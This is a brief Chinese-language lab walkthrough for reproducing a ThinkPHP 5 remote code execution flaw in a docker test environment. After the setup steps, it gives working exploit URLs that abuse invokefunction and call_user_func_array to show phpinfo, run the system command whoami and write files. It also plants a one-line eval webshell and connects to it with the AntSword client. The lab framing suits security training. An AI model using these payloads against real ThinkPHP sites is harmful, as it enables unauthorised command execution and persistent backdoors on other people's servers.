环境搭建
靶场下载
服务启动
先cd到thinkphp文件夹下面的5-rce里面,然后
docker-compose up -d #安装环境
docker ps #查看服务是否启动
可以看到服务已经启动,端口为8080
ip a #获取自己的本机 ip
直接访问 ip+端口
漏洞复现
(1)在url输出关于 PHP 配置的信息
index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
(2)输入系统命令: whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
(3)还可以将php代码写入文件, 此处我们写一个phpinfo
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>
(4)查看shell.php内容
写入webshell
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
直接写入 <?php @eval($_POST[1]);?>
使用中国蚁剑进行shell测试连接:
连接成功!说明存在远程命令执行漏洞!